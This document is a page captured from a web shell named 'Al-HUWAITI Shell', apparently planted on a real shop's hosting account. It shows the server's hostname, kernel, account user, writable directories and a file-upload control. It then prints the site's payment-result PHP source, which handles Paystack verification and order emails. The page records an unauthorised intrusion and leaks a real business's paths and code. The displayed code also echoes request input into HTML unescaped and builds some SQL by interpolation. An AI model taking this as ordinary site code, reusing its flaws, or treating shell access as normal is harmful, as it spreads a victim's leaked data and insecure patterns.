Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/domains/bond-lounge.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/domains/bond-lounge.com/public_html/payment_result.php
<?php use PHPMailer\PHPMailer\PHPMailer;use PHPMailer\PHPMailer\Exception;use PHPMailer\PHPMailer\SMTP; session_start();
$page_name = basename($_SERVER['PHP_SELF']); 
 include("headerstrict.php"); ?>
<title><?php echo $company_name; ?> - Payment Result</title>

<?php 
$page_title = "Payment Result";
$page_header = "shop_header.jpg";
include("page_header.php");
?>
<div class="checkout">
<div class="container">
<div class="row">
<div class="col-lg-6 pt-4 pt-lg-0">
<?php
if($_SERVER['REQUEST_METHOD'] == 'GET' ){
	
	$paystack_reference = mysqli_real_escape_string($con,$_GET['reference']);
	$order_id = mysqli_real_escape_string($con,$_GET['order_id']);
	$action = mysqli_real_escape_string($con,$_GET['action']);
	$amount_paid = mysqli_real_escape_string($con,$_GET['amount_paid']);
	$currency_used = mysqli_real_escape_string($con,$_GET['currency']);
	
	$stmt_order = $con -> prepare('SELECT * FROM my_orders WHERE order_id=?');
	$stmt_order -> bind_param('s',$order_id);
	$stmt_order -> execute(); 
	$stmt_order -> store_result(); 
	$stmt_order -> bind_result($id,$user_id_db,$order_id,$grand_total,$nice_date,$horrible_date,$order_status,$email_succesful,$email_delivered,$delivery_zone_complete,$payment_method); 
	$numrows_order = $stmt_order -> num_rows();
	if($numrows_order > 0){
		while ($stmt_order -> fetch()) { 
			
		}
	}
	$divided = explode('-',$delivery_zone_complete,2);
	$delivery_zone_id = $divided[0];
	$delivery_zone_fee = $divided[1];
	
	$stmt_n = $con -> prepare('SELECT * FROM users WHERE user_id=?'); 
	$stmt_n -> bind_param('s',$user_id_db);
	$stmt_n -> execute(); 
	$stmt_n -> store_result(); 
	$stmt_n -> bind_result($id,$user_id,$first_name,$last_name,$email,$password,$phone,$address,$date_signed_up); 
	$numrows_n = $stmt_n -> num_rows();
	if($numrows_n > 0){
		$signed_in="Yes";
		while ($stmt_n -> fetch()) { }
	}

	$gt = $grand_total + $delivery_zone_fee;
			
$result = array();
//The parameter after verify/ is the transaction reference to be verified
$url = "https://api.paystack.co/transaction/verify/$paystack_reference";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt(
  $ch, CURLOPT_HTTPHEADER, [
    $ps_live_long]
);
$request = curl_exec($ch);
curl_close($ch);
if ($request) {
    $result = json_decode($request, true);
     //print_r($result);
	 
    if($result){ 
		if($result['data']){ 
			//something came in
			if($result['data']['status'] == 'success'){
				 // the transaction was successful, you can deliver value
				 $status = $result['data']['status'];
				 $gateway_response = $result['data']['gateway_response'];
				 $transaction_date = $result['data']['transaction_date'];
				 
				 echo"<span class='explanation'>Your transaction reference is </span><span class='blue'>$paystack_reference</span><br/>";
				 echo "<span class='explanation'>The transaction was <span class='blue'>successful.</span></span><br/>";
				 echo "<span class='explanation'>Transaction Date - <span class='blue'>$transaction_date.<span></span><br/>";

$stmt_asake = $con -> prepare('SELECT * FROM transactions WHERE paystack_reference=?'); 
$stmt_asake -> bind_param('s',$paystack_reference);
$stmt_asake -> execute(); 
$stmt_asake -> store_result(); 
$numrows_asake = $stmt_asake -> num_rows();
if($numrows_asake < 1){			 
//send email
$subject ="$first_name $last_name successfully paid online";
$message1="";
$message1 .= "
<div style='font-family:Calibri;'>
	Name - <b>$first_name $last_name</b><br/>
	Email - <b>$email</b><br/>
	Amount - <b>$gt</b><br/>
	Currency - <b>$currency_used</b> <br>
	Ref - <b>$paystack_reference</b><br/>
	Response - <b>$gateway_response</b><br/>
	Date - <b>$transaction_date</b><br/>
	Payment Method - <b>$action</b><br/>
	Details of order <b style='color:cornflowerblue;'>$order_id</b><br/>
</div>
";
	
	$che = mysqli_query($con,"SELECT * FROM cart_details WHERE order_id='$order_id'");
		if (mysqli_num_rows($che) > 0) {
		while ($get = mysqli_fetch_array($che)) {
		$product_id = $get["product_id"]; 
		$product_title = $get["product_title"];
		$product_image = $get["product_image"];
		$product_price = $get["product_price"]; 
		$qty = $get["qty"];

					
	$message1 .="
		<img src='$link/site_img/products/$product_image' alt='$product_title' style='width:70px;height:70px;'>
			<h5 style='font-weight:700;font-size:14px;line-height:1px;'>$product_title</h5>
			<p style='font-size:10px;line-height:1px;'>$product_price</p>
			<p style='font-size:10px;line-height:1px;'>Quantity - $qty</p>
			<div style='color:gainsboro;opacity:0.5;'><hr/></div>
	";
	}
	}
	$message1 .="
	<span style='font-weight:900;'>$delivery_zone_fee</span> - Shipping Fee<br/>
	<span style='font-weight:900;'>$gt</span> - Total<br/><br/>
	
	To attend to this order click <a href='$link/$admin_no/order_details?order_id=$order_id'>here</a>
	";
date_default_timezone_set('Africa/Lagos');
require 'PHPMailer/src/PHPMailer.php'; 
require 'PHPMailer/src/SMTP.php'; 
require 'PHPMailer/src/Exception.php';

$mail = new PHPMailer();

//$mail->IsSMTP(); // telling the class to use SMTP
//$mail->SMTPAuth = true; // enable SMTP authentication
$mail->Host = "localhost"; // sets the SMTP server
$mail->Port = 25; // set the SMTP port for the GMAIL server
$mail->Username = "$no_reply_email"; // SMTP account username
$mail->Password = "$no_reply_password"; // SMTP account password

$mail->SetFrom("$company_email", "$company_name");//Use a fixed address in your own domain as the from address
$mail->AddReplyTo("$company_email","$company_name"); //Put the submitter's address in a reply-to header
$mail->Subject = "$subject";
$mail->MsgHTML("<html><body>$message1</body></html>");
$mail->AddAddress("$company_email", 'Payment Page');//Send the message to yourself, or whoever should receive contact for submissions
 
//$mail->AddAttachment(""); // attachment

	if(!$mail->Send()) {
	//echo "Mailer Error: " . $mail->ErrorInfo;
	$msg = 'Email not sent, please try again';
	} 
	else {
	//echo "Thanks for getting in touch, we will get back to ASAP";
	$msg = "Hey $first_name thanks for getting in touch, we will get back to you ASAP!";

	

	}
	//email an autoresponse to the person too
	$mail->clearAddresses();
	$mail->clearReplyTos();
			$subject = "$first_name thank you for your order $order_id";
			$message="";
			$button_link="$link/sign_in";
			$button_text="Log in";
			$email_topic="Your order has been successfully paid for.";
			include("email_header.php");
			$message .=	"
			Dear $first_name,<br/><br/>
			
			Thank you for shopping up with us at $company_name.Your payment has been received and your order is now being processed.<br/>If you have any questions please contact our dedicated support staff at $company_email<br/><br/>
			The $company_name Team.<br/><br/>
			Please find the details of your order below:<br/>";
				$che = mysqli_query($con,"SELECT * FROM cart_details WHERE order_id='$order_id'");
					if (mysqli_num_rows($che) > 0) {
					while ($get = mysqli_fetch_array($che)) {
					$product_id = $get["product_id"]; 
					$product_title = $get["product_title"];
					$product_image = $get["product_image"];
					$product_price = $get["product_price"]; 
					$qty = $get["qty"];
					
					
					$message .="
						<img src='$link/site_img/products/$product_image' alt='$product_title' style='width:70px;height:70px;'>
							<h5 style='font-weight:700;font-size:14px;line-height:1px;'>$product_title</h5>
							<p style='font-size:10px;line-height:1px;'>$product_price</p>
							<p style='font-size:10px;line-height:1px;'>Quantity - $qty</p>
							<div style='color:gainsboro;opacity:0.5;'><hr/></div>
					";
					}
					}
			$message.="$email_logo<br/><br/>
			";
			include("email_footer.php");
$mail->SetFrom("$company_email", "$company_name");//Use a fixed address in your own domain as the from address
$mail->AddAddress("$email", "$email");//Send the message to yourself, or whoever should receive contact for submissions
$mail->AddReplyTo("$company_email","$company_name"); //Put the submitter's address in a reply-to header
$mail->Subject = "$subject";
$mail->MsgHTML("$message");
	if(!$mail->Send()) {
	//echo "Mailer Error: " . $mail->ErrorInfo;
	$msg = 'Email not sent, please try again';
	} 
	else {
	//echo "Thanks for getting in touch, we will get back to ASAP";
	$msg = "Hey $first_name thanks for getting in touch, we will get back to you ASAP.";
	}
	
	//send  notification
	$content ="Your order $order_id has been successfully paid for";
	$sender ="System";
	$receiver = "$user_id";
	$seen ="No";
	$date_notification = date("D,dS M, Y g:ia");
	
	mysqli_query($con,"INSERT INTO notifications VALUES(
	'0',
	'$content',
	'$sender',
	'$receiver',
	'$seen',
	'$date_notification'
	)")or die(mysqli_error($con));
	
	$completed="Completed";
	$stmt_com = $con -> prepare('UPDATE my_orders SET status = ? WHERE order_id = ?');
	$stmt_com -> bind_param('ss', $completed,$order_id);
	$stmt_com -> execute();
	
	$stmt = $con -> prepare('SELECT * FROM transactions WHERE paystack_reference=?'); 
	$stmt -> bind_param('s',$paystack_reference);
	$stmt -> execute(); 
	$stmt -> store_result(); 
	$numrows = $stmt -> num_rows();
	if($numrows < 1){
		$db_id=0;
		$stmt = $con -> prepare('INSERT INTO transactions VALUES (?,?,?,?,?,?,?)');
		$stmt -> bind_param('issssss', $db_id,$order_id,$gt,$paystack_reference,$status,$gateway_response,$transaction_date);
		$stmt -> execute();
	
	}

}	

				 
				 echo"
				 <form action='account' action='post'>
				 <div style='text-align: center;'>
					<button class='btn btn-primary' style='background:$color;color:white;' type='submit'>Go to Account</button> 
				  </div> <br><br>
				 </form>
				 ";
			}
			else{
				 // the transaction was not successful, do not deliver value'
				 //print_r($result);  //uncomment this line to inspect the result, to check why it failed.
				 $status = $result['data']['status'];
				 $gateway_response = $result['data']['gateway_response'];
				 $transaction_date = $result['data']['transaction_date'];
				 
				 echo"<span class='explanation'>Your transaction reference is </span><span class='blue'>$paystack_reference</span><br/>";
			     echo "<span class='explanation'>The transaction was <span class='blue'> NOT successful.</span></span><br/>";
				 echo "<span class='explanation'>Gateway Response - <span class='blue'>$gateway_response.<span></span><br/>";
				 echo "<span class='explanation'>Transaction Date - <span class='blue'>$transaction_date.<span></span><br/>";
				 
	//insert transaction details into database
	$stmt = $con -> prepare('SELECT * FROM transactions WHERE paystack_reference=?'); 
	$stmt -> bind_param('s',$paystack_reference);
	$stmt -> execute(); 
	$stmt -> store_result(); 
	$stmt -> bind_result($id,$heading,$paragraph,$picture); 
	$numrows = $stmt -> num_rows();
	if($numrows < 1){
		$db_id=0;
		$stmt = $con -> prepare('INSERT INTO transactions VALUES (?,?,?,?,?,?,?)');
		$stmt -> bind_param('issssss', $db_id,$order_id,$gt,$paystack_reference,$status,$gateway_response,$transaction_date);
		$stmt -> execute();
	
	}
				 
				 echo"
				 <form action='account' action='post'>
				 <div style='text-align: center;'>
					<button class='btn btn-primary' style='color:white;' type='submit'>Back</button> 
				  </div>
				 </form>
				 ";
			}
		}
		else{
			echo $result['message'];
		}

    }
	else{
		//print_r($result);
        die("Something went wrong. Please try again later.");
    }
}
else{
	//var_dump($request);
	die("Something went wrong. Please try again later.");
}


}
else{echo "<meta http-equiv=\"refresh\" content=\"0; url=$link\">";}
?>
</div>
</div>
</div>
</div>
</main>
<?php include("footer.php"); ?>

Al-HUWAITI Shell